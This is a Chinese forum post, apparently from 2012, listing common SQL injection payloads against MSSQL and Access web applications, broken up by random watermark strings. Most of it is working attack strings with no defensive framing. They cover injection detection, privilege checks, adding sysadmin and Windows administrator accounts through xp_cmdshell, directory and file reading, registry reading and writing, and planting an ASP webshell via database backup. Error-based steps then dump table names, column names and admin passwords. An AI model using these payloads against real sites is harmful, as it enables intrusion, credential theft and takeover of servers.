标题: SQL注入常用语句 [打印本页] 作者: admin 时间: 2012-9-15 14:31 标题: SQL注入常用语句 1.判断是否有注入 * L. ]3 j* K% z0 z
;and 1=1 - m) F1 T j: r; i$ X& s/ L;and 1=2 + O' u; q# n, g6 W( n - F8 X% }9 E z5 n2.初步判断是否是mssql 2 w6 G! v2 g2 \8 b;and user>0 , V& a7 {, L/ M# D! c: v, W! ~: |" _7 o
3.判断数据库系统 5 Y8 p+ I' z! D3 F. v
;and (select count(*) from sysobjects)>0 mssql + b5 @& B5 F, S- f;and (select count(*) from msysobjects)>0 access 6 F2 }( X( e K5 {6 n. i' H
, t; @* f3 L* }. T6 x+ _
4.注入参数是字符 ! D+ { c) t7 N9 \9 J6 {
'and [查询条件] and ''=' 8 [6 `& X3 K3 `# e8 S7 j$ Q 7 H2 O4 m. _+ y/ M* Z; t Q5.搜索时没过滤参数的 ( R2 q4 b% m, s: p'and [查询条件] and '%25'=' 8 W0 \7 M) I! A1 {- b ) q' D1 ?; E% Z6.猜数表名 2 v4 ]8 c1 o+ v1 l
;and (select Count(*) from [表名])>0 & R6 n$ o! m- L" O5 G, N a9 @( n2 M2 H9 t+ d% T6 O7 b
7.猜字段 $ D4 a3 g8 J8 `" G) j7 U" O
;and (select Count(字段名) from 表名)>0 9 o0 Q F1 c/ O# S: }
* z! _! _# f' B7 D" j) P$ M7 L8.猜字段中记录长度 S7 D; J$ p" ~9 Z6 w( Y
;and (select top 1 len(字段名) from 表名)>0 7 f+ f, N# G2 D0 |# U
: k/ B8 P, ]# e' S& B; J9.(1)猜字段的ascii值(access) / k }; r9 R0 w7 y% p
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 3 y3 c. Z, }' n0 K, }2 U8 X
7 `+ r* `1 i4 T$ n7 E(2)猜字段的ascii值(mssql) 0 p8 |7 g) d+ H! @; Z1 a
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 , |7 }0 ^$ `2 Y+ s4 O # A4 ^; J* B" m; J3 F+ y) k10.测试权限结构(mssql) * ^$ W$ H' s* n- D3 z; t x
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- " j( {5 q6 m/ z; v) B;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ! p$ Q1 ]7 h/ x# E; S' @
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2 K0 y, O2 r R) t3 u( T, V6 _;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3 G+ R/ }1 g6 t5 d) r3 @2 N# r
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- % ]3 D1 U& W5 ]0 q;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- * J0 {6 B* n( G
;and 1=(select IS_MEMBER('db_owner'));-- ) X5 F" \, O/ }1 f1 U
7 S* n8 ?4 U. x9 s3 Q. |11.添加mssql和系统的帐户 . n5 K3 o/ }- u" d" a
;exec master.dbo.sp_addlogin username;-- ' ~2 |, ^: _7 d/ f
;exec master.dbo.sp_password null,username,password;-- - o# {8 ?9 X% G+ ^- ^9 Z
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 4 X$ z2 A2 e6 O/ G' A# J
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 3 r. W& U& r, M9 Y; m `;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4 i! y: w2 k7 V s
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 2 f! ?9 F/ O- Y% x, H# A 9 e5 Q+ |0 m `5 X2 ?; M# x12.(1)遍历目录 5 u0 d" O; R2 c, a;create table dirs(paths varchar(100), id int) % }2 W" h4 a1 c" s3 A7 F
;insert dirs exec master.dbo.xp_dirtree 'c:\' 9 l9 R$ X: z+ B* B0 b1 c;and (select top 1 paths from dirs)>0 1 N/ p/ Z9 p4 s' k e$ v0 ^;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ! `9 h6 A. S5 i3 ~! F; a; K Z6 i h2 m0 ]# F
(2)遍历目录 ! }% M4 g8 h: V V* j' ];create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ( D) R5 _' \' T2 q; }) V' ~4 W) h3 p
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 3 N2 R0 s, u/ |* u! ]1 }! ~;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 9 V' F- U9 V6 l/ S. \# ];insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ; {. ?: C S0 ]! `# Z;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 8 z0 _* d3 D! F' _3 J& B) c( a8 _
' T" S U" @) e+ v9 Y13.mssql中的存储过程 ( x3 B2 b: c' s9 ~
xp_regenumvalues 注册表根键, 子键 7 O8 g1 m- e4 A- Z;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 # I; ~; w. j q% r; z' i
xp_regread 根键,子键,键值名 / i: X' M; W; U, Y1 j
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5 L8 h- y8 b# m% ?& g
xp_regwrite 根键,子键, 值名, 值类型, 值 . g) Y: T7 H m, D; M
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 % ~: a% H! I, ?7 E# M- D7 h
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 9 E: {/ y* p8 V% O( L+ Pxp_regdeletevalue 根键,子键,值名 1 o7 k+ s7 ]& b9 w" A
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 , b P6 U( F5 W. m" ^9 D( ^xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 4 C @) A V% R& F# y4 ] + Q; H$ Y* j4 G0 U7 p& S4 u14.mssql的backup创建webshell : I5 i( F8 u9 } A2 o% K* |/ m. ouse model * }; O! _0 M; h; f% N; T2 q& Gcreate table cmd(str image); 4 B% w$ z* L# j8 n# Q! F! `insert into cmd(str) values ('<% Dim oScript %>'); ! A: i! B& a* x, C( Bbackup database model to disk='c:\l.asp'; + i4 X+ f' T6 s4 |; I. |
. @% q; W; v5 j
15.mssql内置函数 / C$ {/ Y v u3 Z/ u1 d;and (select @@version)>0 获得Windows的版本号 : |. p& i) R- l
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3 U& w# y& ` u- ?1 D
;and (select user_name())>0 爆当前系统的连接用户 4 E0 P% U# t- m( c/ f b0 T' d+ Z+ X; F;and (select db_name())>0 得到当前连接的数据库 - m% P; f( ]" `. A
: B- I. A7 }9 l. R
: R4 n1 I1 o9 f& ~9 y/ t [+ y+ U" j( p2 ?& t, E2 x
MSSQL手注暴库 1 o$ g+ L% D, b1 a0 X s0 b% a2 z* r
1.暴出当前表名和列名& v1 e+ x( B* M7 F
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。( ^' O& o( i+ b% q7 {
7 F! x! M* C& [# M
第一.爆出所有数据库名; g0 C+ l5 T$ u$ a; A: f. }8 O
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。 9 ~4 \+ `+ f& I2 i9 B0 z6 r第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。$ }9 _1 \7 a1 `
7 h0 C I6 y8 _ z, q" tand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名 & x ? V- v( D% J3 L' `# H" {4 G$ B! Z/ _. h
4 N2 B% I) G; W8 N8 w& x/ P! H3 }
第二.爆出指定库中的所有表名! j0 J# {3 }& O: z' N6 ]; C
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。 4 _0 b# [/ i ]" q: ^( g+ g: Z再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。 1 O3 s4 T3 W+ ]4 ~+ g6 P& o2 N/ q" N+ N) h0 l# S
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')-- : R2 i4 i7 R7 F1 N2 G' s7 Tand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--* q3 f0 W* G; A) n6 b
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--/ J$ d, ]8 @- H, ~3 v5 i1 i* m1 ]
9 V9 u6 X8 Y: d" l4.爆出指定表中的所有列名 3 |9 z# {& i: [- h Q9 c- @and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 6 s$ L; m: n3 R8 W2 k6 i/ k% [0 F//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名' ( C" j- }0 U2 k: u5 M3 V# R v" X) V4 o
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名 1 f; L0 a x" ^( i1 N, y- a. C+ @2 C* k0 h% h9 S" ]0 W
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ) K6 N u! H' j依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。/ u+ u7 h+ X( O9 n
2 p/ N0 p/ I; X; b; o& t
& W. h+ {+ k1 p4 ]) n
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值 ' t) Y3 W4 \( t- C" [* w) R & ?+ b, n- V4 n3 A rand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名" _, r# n9 [6 u# t3 p
5 V0 i) \6 K4 I0 p9 N7 i
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ) V. w* V' r5 ], v% U3 U3 a# ]
2 [& l2 L% l8 N6 v. l) o; x) H
( m6 v/ _: q/ @$ d' Y
$ b1 v# R& x7 g0 A( g3 S5.读取指定表中的数据 % l% e0 o7 t( j2 D# m# Y: e * `- V( M2 F0 K sand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 4 m h7 D* _0 f( d) {
) j; a" c: n' k: oand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)-- 2 [5 j; |8 U+ x& v" V, t 2 j3 q" {- `( c( E. d% oand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码 ) C! o% g5 a6 _; ?" F, h# C3 `! H8 z G1 z" ?8 A
" R( F! g: U1 ^% Q0 N/ s
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)6 L$ U( r- t( ]% ]& N) u1 f" {. _
# |+ V1 e, P0 R" M$ K9 W2 v& _3 pand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang) 8 B# J0 U( M" e1 Y) R6 S _* N: Q7 a( A7 S% B6 `/ U
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--0 t$ v/ h% J5 i5 M/ f2 x% c
# j8 i. E w( ^2 s7 X9 a, L, c
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。 1 \. Y! a2 Z/ o+ @: V